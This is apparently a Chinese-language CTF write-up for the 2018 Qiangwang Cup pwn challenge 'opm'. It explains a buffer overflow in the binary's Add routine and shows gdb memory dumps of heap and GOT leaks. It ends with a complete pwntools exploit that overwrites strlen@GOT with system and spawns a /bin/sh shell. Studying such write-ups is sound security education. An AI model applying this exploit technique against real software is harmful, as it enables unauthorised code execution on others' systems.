强网杯 2018 opm

前言

这篇WP是强网杯过去了很久之后才出的, 参考的是极目楚天舒师傅的博客, 这位师傅是一位CTF老赛手, 最近复出.由于图片中不能CTRL+F出文字, 本文章尽量避免使用图片, 除非必要.

程序运行

1. menu

You were invited to beat one punch man!
(A)dd a new role
(S)how all roles
(E)xit

2. Add

A
Your name:
Bill
N punch?
128
<Bill> said he can kill the boss with 80 punches

3. Show

<Bill> said he can kill the boss with 80 punches
You were invited to beat one punch man!

4. Exit

E(退出)

程序分析

0.结构体

struct node{char (*print)(struct node n) ; //函数指针char* name;int name_number;int punch;
};

2. 分析

这道题没有用到什么高深的堆分配和释放的知识, 就一个词溢出. IDA F5之后, 发现Add过程存在一个溢出漏洞, s的下一个位置就是与node结构体相关的地址.

3. 总体思路

泄露堆地址, 泄露got地址, 泄露strlen真实地址, 修改got表strlen项内容为system, 发送/bin/sh\x00.

过程

1. leak heap

add("A"*0x70, 9)
add("B"*0x80 + "\xf0", 9) #修改
'''
0x7ffff7fcd700: 0x0000000000000000          0x0000000000000000
0x7ffff7fcd710: 0x000055c56a558cd0(正确地址)
修改之后
0x7ffff7fcd700: 0x4242424242424242       0x4242424242424242
0x7ffff7fcd710: 0x000055c56a5500f0(一块可写区域)
...... 程序将一些信息写入此处
0x55c56a5500f0: 0x0000000000000000  0x000055c56a558d00 <--
0x55c56a550100: 0x0000000000000081  0x0000000000000009   |
'''                                                      |
add("C"*0x80, "D"*0x80 + "\xf0") #leak                   |
'''                                                      |
修改                                                      |
0x7ffff7fcd700: 0x4343434343434343  0x4343434343434343   |
0x7ffff7fcd710: 0x000055c56a558d00 --> 'C'*0x80造成       ||
程序将新malloc的地址写入0x55c56a558d00                       |
0x55c56a558d00: 0x4242424242424242  0x000055c56a558dc0    |
0x55c56a558d10: 0x0000000000000080  0x4242424242424242    ||
打印("D"*0x80 + "\xf0"), 此时的0x55c56a5500f0还是    --------'''

结论: 泄露地址无非就是将地址放入可输入的部分, 然后执行输出函数.

2. leak function

add("d" *0x18 + p64(heap + 0x90), '131425' + "F"*0x7a + p64(heap + 0xd0))
'''
"d" *0x18 + p64(heap + 0x90) 如下效果
0x7ffff7fcd690: 0x6464646464646464  0x6464646464646464
0x7ffff7fcd6a0: 0x6464646464646464  0x000055c56a558e50 ---
......                                                   |-----> 二者必须相同
0x7ffff7fcd700: 0x4444444444444444  0x4444444444444444   |
0x7ffff7fcd710: 0x000055c56a558e50  ----------------------'''
#'131425' + "F"*0x7a + p64(heap + 0xd0) 如下效果

结论: 131425是为了防止top chunk被赋值为0.
3. leak strlen address

add("d"*0x18 + p64(strlen_got), "131329" + "F"*0x7a + p64(heap + 0x130))

小结: 理解了上一步leak function, 这一步原理同上.

4. modify strlen@got

add("Bill", str(system_addr & 0xffffffff).ljust(0x80, "G") + p64(strlen_got-0x18))

小结: 看似程序中没有写入功能, 实际上是存在写入的功能的. 就是punch大小的读入, 我们可以写入system真实地址的后四个字节,前几个字节都一样, 而且我们也只能写入四个字节.

The Whole EXP

from pwn import *p = process("./opm")
elf = ELF("./opm")
libc = ELF("./opm")context.log_level = 'debug'def add(name, number):p.recvuntil("(E)xit\n")p.sendline("A")p.recvuntil("Your name:\n")p.sendline(name)p.recvuntil("N punch?\n")p.sendline(str(number))def show():p.recvuntil("(E)xit\n")p.sendline("S")def quit():p.recvuntil("(E)xit\n")p.sendline("E")#part one: leak heap
add("A"*0x70, 9)
gdb.attach(p)
add("B"*0x80 + "\xf0", 9)
add("C"*0x80, "D"*0x80 + "\xf0")
heap = u64(p.recv(15)[9:].ljust(8, "\x00"))
log.info("heap: %s" % hex(heap))#part two: leak function ptr
add("d" *0x18 + p64(heap + 0x90), '131425' + "F"*0x7a + p64(heap + 0xd0))
func_ptr = u64(p.recv(7)[1:].ljust(8, "\x00"))
log.info("function_ptr: %s" % hex(func_ptr))#part three: leak strlen real address
base = func_ptr - 0xb30
strlen_got = base + elf.got['strlen']
gdb.attach(p)
add("d"*0x18 + p64(strlen_got), "131329" + "F"*0x7a + p64(heap + 0x130))
strlen = u64(p.recv(7)[1:].ljust(8, "\x00"))
log.info("real strlen: %s" % hex(strlen))#part four: modify strlen got
system_addr = strlen - 0x46390
log.info("system: %s" % hex(system_addr))
gdb.attach(p)
add("Bill", str(system_addr & 0xffffffff).ljust(0x80, "G") + p64(strlen_got-0x18))
add("/bin/sh\x00", 8)
p.interactive()

Related Link

极目楚天舒
文件下载

强网杯 2018 opm相关推荐

  1. 强网杯2018 - nextrsa - Writeup

    强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...

  2. 2018强网杯之opm

    0x01程序分析 程序开启了PIE,说明got表和plt表位置需要通过泄露得到. 题目一共可以存放下标为0-9一共10个role,游全局变量0x202130存放.Add函数添加role的管理结构,并将 ...

  3. 强网杯2018逆向 hide lebel:linux脱壳 / create function / mmap / XTEA变形 / 大小端

    参考: https://bbs.pediy.com/thread-251371.htm qiutruth@qiutruth-virtual-machine:~$ ps -ef | grep hideq ...

  4. 2019强网杯crypto writeup

    本次write包含以下题目 copperstudy randomstudy 强网先锋-辅助 copperstudy 题目描述 nc 119.3.245.36 12345 连上去返回 [+]proof: ...

  5. 第二届全国强网杯Web 题three hit学习心得(伪write up)

    前言:本人CTF-WEB入门,有参赛,赛后参考了很多write up想解出此题,无奈理解能力有限,看不懂很多大佬的思路,最后看 酷辣虫上的一篇大佬write up才弄明白. 现将学习心得总结如下,说得 ...

  6. 强网杯2018_core

    强网杯2018_core 具体可以看z1r0's blog 题目拿到手就是一个tar包.解压 ➜ 2018强网杯-core tar -xvf core_give.tar give_to_player/ ...

  7. php upload ctf,强网杯CTF防御赛ez_upload Writeup

    这是强网杯拟态防御线下赛遇到的web题目,本来是不打算分享Writeup的,但是由于问的人很多,于是这里分享给大家. ez_upload这题算是非常经典的堆叠black trick的题目,算是比较典型 ...

  8. 强网杯2019 Copperstudy

    强网杯2019 Copperstudy 靶机:node4.buuoj.cn:29678 第一次见靶机的题,找题目找了半天

  9. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

    强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...

最新文章

  1. 爱好历史的程序员,不容错过!
  2. 目标检测中的数据格式转换工具Roboflow
  3. PL/SQL学习笔记-循环控制与顺序控制
  4. 最专业的业余数学家!
  5. B树与B+树【转载】
  6. vue-cli新建工程后提高页面加载速度(含升级webpack4)
  7. 51Nod-1010 只包含因子2 3 5的数【打表+排序+二分搜索】
  8. python一只青蛙一次可以_40.细说递归之二:Python求解斐波那契数列
  9. 服务器linux命令aux,Linux查看所有进程ps -aux命令介绍
  10. 标准c++读写ini文件类
  11. 技术状态管理计划-模板
  12. QT项目六:简易客户信息管理系统
  13. java服务器接收coap协议数据_CoAP协议-以Java为例的Californium初步实现
  14. Windows XP的图标结构
  15. PhalApi2.x笔记
  16. form-making爬坑笔记(jeecg项目替换表单设计器)
  17. [CF505E]Mr. Kitayuta vs. Bamboos/[海军国际项目办公室]迷途竹林
  18. 《机器学习》周志华 学习笔记
  19. 黄灯闪烁c语言程序,交通灯控制程序 需要加一个黄灯闪烁三次 求求大神
  20. js 导出excel,设置下载的标题

热门文章

  1. ORACLE数据库中使用JAVA源实现SM3签名算法
  2. div居中(vue框架)
  3. ubuntu安装megacli
  4. WinNT Win2K下实现进程的完全隐藏
  5. 小程序 中文和utf-8转换
  6. 用SQL解析神奇的扑克牌魔术
  7. 物流平台搭建-物流流向分析
  8. c语言xdata作用,请问一下关键字data是什么意思,是关于C语言的问题!
  9. 语义分割数据集VOC2012 FCN网络结构详解
  10. CentOS7 配置双网卡